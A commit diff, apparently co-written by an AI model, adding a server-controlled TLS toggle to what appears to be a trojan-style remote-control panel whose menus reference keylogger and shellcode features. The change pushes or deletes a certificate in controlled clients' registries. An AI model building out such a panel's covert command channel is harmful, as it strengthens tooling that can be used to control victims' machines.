Feat: Per-client TLS transport toggle (TLS column + remote enable/disable)

Add a per-client TLS transport toggle controlled from the server, using the
presence of the client's trust-anchor certificate in the registry as the
single source of truth (no separate tls_enable flag).

- Client reports its TLS status via a new RES_TLS token (cert present -> 1)
  appended to LOGIN_INFOR's reserved field.
- Server online list gains a "TLS" column after the permission column.
- The "experimental features" right-click menu gains "TLS传输" / "取消TLS"
  with confirmation and a guard that prompts (instead of sending) when the
  server has no TLS certificate ready.
- New COMMAND_TLS_ENABLE / COMMAND_TLS_DISABLE (166/167): the server pushes
  its cert PEM into the client registry settings\tls_cert (enable) or deletes
  it (disable). The client picks this up on next startup via the existing
  ReadTrustAnchor logic, so the switch is non-live by design.
- Icons and en_US/zh_TW/de_DE translations for the new menu items.

Co-Authored-By: deepseek-v4-pro
This commit is contained in:
yuanyuanxianganddeepseek-v4-pro committed 2026-10-16 07:04:54 +02:00
1 parent 8f02e73b9c
commit 99e3bcbc6d
13 files changed
+117 -11

No files matched your search

+64 -8
View File
@@ -51,6 +51,7 @@
#include "McpServer.h"
#include "McpSettingsDlg.h"
#include "TlsCertificateDlg.h"
#include "ServerTlsSession.h"
#include "common/md5.h"
#include <algorithm>
#include <set>
@@ -148,23 +149,24 @@ const int g_Column_Count_Online = ONLINELIST_MAX + 1; // 1 缩略图 + 既有
COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = {
{"预览", 60 },
{"IP", 130 },
{"端口", 60 },
{"IP", 120 },
{"端口", 55 },
{"地理位置", 140 },
{"计算机名/备注", 140 },
{"操作系统", 120 },
{"CPU", 80 },
{"摄像头", 60 },
{"RTT", 60 },
{"操作系统", 135 },
{"CPU", 75},
{"摄像头", 55 },
{"RTT", 55 },
{"版本", 90 },
{"安装时间", 130 },
{"活动窗口", 130 },
{"活动窗口", 145 },
{"类型", 50 },
{"", 0 },
{"", 0 },
{"", 0 },
{"", 0 },
{"权限", 60 },
{"TLS", 50 },
};
// 缩略图列号常量 + 列号→数据槽映射。负返回值代表"该列无数据槽"。
@@ -738,6 +740,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
m_bmOnline[66].LoadBitmap(IDB_BITMAP_FILE_MANAGER); // 文件管理
m_bmOnline[67].LoadBitmap(IDB_BITMAP_PRIVACY_SHIELD); // 隐私屏幕
m_bmOnline[68].LoadBitmap(IDB_BITMAP_DRAWING_BOARD); // 远程画板
m_bmOnline[69].LoadBitmap(IDB_BITMAP_TLS_ENABLE); // TLS 传输
m_bmOnline[70].LoadBitmap(IDB_BITMAP_TLS_DISABLE); // 取消 TLS
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
m_ServerDLL[i] = nullptr;
m_ServerBin[i] = nullptr;
@@ -1067,6 +1071,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_EXPERIMENT_FILE_MANAGER, &CMy2015RemoteDlg::OnExperimentFileManager)
ON_COMMAND(ID_EXPERIMENT_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnExperimentPrivateScreen)
ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard)
ON_COMMAND(ID_EXPERIMENT_TLS_ENABLE, &CMy2015RemoteDlg::OnExperimentTlsEnable)
ON_COMMAND(ID_EXPERIMENT_TLS_DISABLE, &CMy2015RemoteDlg::OnExperimentTlsDisable)
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
@@ -1674,10 +1680,11 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
const std::string& privUser = v[RES_USERNAME];
const std::string& privAdmin = v[RES_ISADMIN];
CString privilegeStr = privUser == "SYSTEM" ? "SYSTEM" : privAdmin == "1" ? "Admin" : "User";
CString tlsStr = v[RES_TLS].empty() ? "N" : v[RES_TLS] == "1" ? "Y" : "N";
CString data[ONLINELIST_MAX] = { strIP, strAddr, "", strPCName, strOS, strCPU, strVideo, strPing,
verDisplay, install, startTime, v[RES_CLIENT_TYPE].empty() ? "?" : v[RES_CLIENT_TYPE].c_str(), path,
v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), startTime, capStr, privilegeStr,
v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), startTime, capStr, privilegeStr, tlsStr,
};
// 优先采用客户端自报的 ID(新客户端用 V2 算法 = MachineGuid + 归一化路径,
// 比服务端按老算法 IP+PC+OS+CPU+PATH 重算更稳定)。
@@ -4546,6 +4553,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_FILE_MANAGER, MF_BYCOMMAND, &m_bmOnline[66], &m_bmOnline[66]);
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[67], &m_bmOnline[67]);
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_DRAWING_BOARD, MF_BYCOMMAND, &m_bmOnline[68], &m_bmOnline[68]);
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_ENABLE, MF_BYCOMMAND, &m_bmOnline[69], &m_bmOnline[69]);
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_DISABLE, MF_BYCOMMAND, &m_bmOnline[70], &m_bmOnline[70]);
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
@@ -4718,6 +4727,53 @@ void CMy2015RemoteDlg::OnExperimentDrawingBoard()
SendSelectedCommand(&bToken, sizeof(BYTE));
}
void CMy2015RemoteDlg::OnExperimentTlsEnable()
{
// 前置校验:服务端未启用 TLS 证书时,无信任锚可下发,仅提示、不下发指令。
if (!ServerTlsIdentity::IsReady()) {
MessageBoxL(_T("服务端未启用 TLS 证书,无法切换客户端 TLS 传输"),
_T("提示"), MB_ICONWARNING);
return;
}
// 二次确认:避免误点就切换被控端 TLS;客户端写注册表,下次启动生效
if (IDYES != MessageBoxL(_T("确定对选中主机启用 TLS 传输吗?(客户端下次启动生效)"),
_T("提示"), MB_ICONQUESTION | MB_YESNO)) return;
// 读取服务端证书(信任锚),随启用指令一并下发;客户端写入注册表 settings\tls_cert。
std::ifstream certFile(THIS_CFG.GetStr("tls", "CertPath", ""), std::ios::binary);
if (!certFile.is_open()) {
MessageBoxL(_T("读取服务端 TLS 证书失败,无法下发"), _T("提示"), MB_ICONWARNING);
return;
}
std::ostringstream ss;
ss << certFile.rdbuf();
std::string certPem = ss.str();
if (certPem.empty()) {
MessageBoxL(_T("读取服务端 TLS 证书失败,无法下发"), _T("提示"), MB_ICONWARNING);
return;
}
// 报文:命令字节 + PEM 正文
std::vector<BYTE> pkt;
pkt.reserve(1 + certPem.size());
pkt.push_back((BYTE)COMMAND_TLS_ENABLE);
pkt.insert(pkt.end(), certPem.begin(), certPem.end());
SendSelectedCommand(pkt.data(), (ULONG)pkt.size());
}
void CMy2015RemoteDlg::OnExperimentTlsDisable()
{
if (!ServerTlsIdentity::IsReady()) {
MessageBoxL(_T("服务端未启用 TLS 证书,无法切换客户端 TLS 传输"),
_T("提示"), MB_ICONWARNING);
return;
}
if (IDYES != MessageBoxL(_T("确定取消选中主机的 TLS 传输吗?(客户端下次启动生效)"),
_T("提示"), MB_ICONQUESTION | MB_YESNO)) return;
BYTE bToken = COMMAND_TLS_DISABLE; //向被控端发送停用 TLS 传输命令
SendSelectedCommand(&bToken, sizeof(BYTE));
}
// 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程
BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup,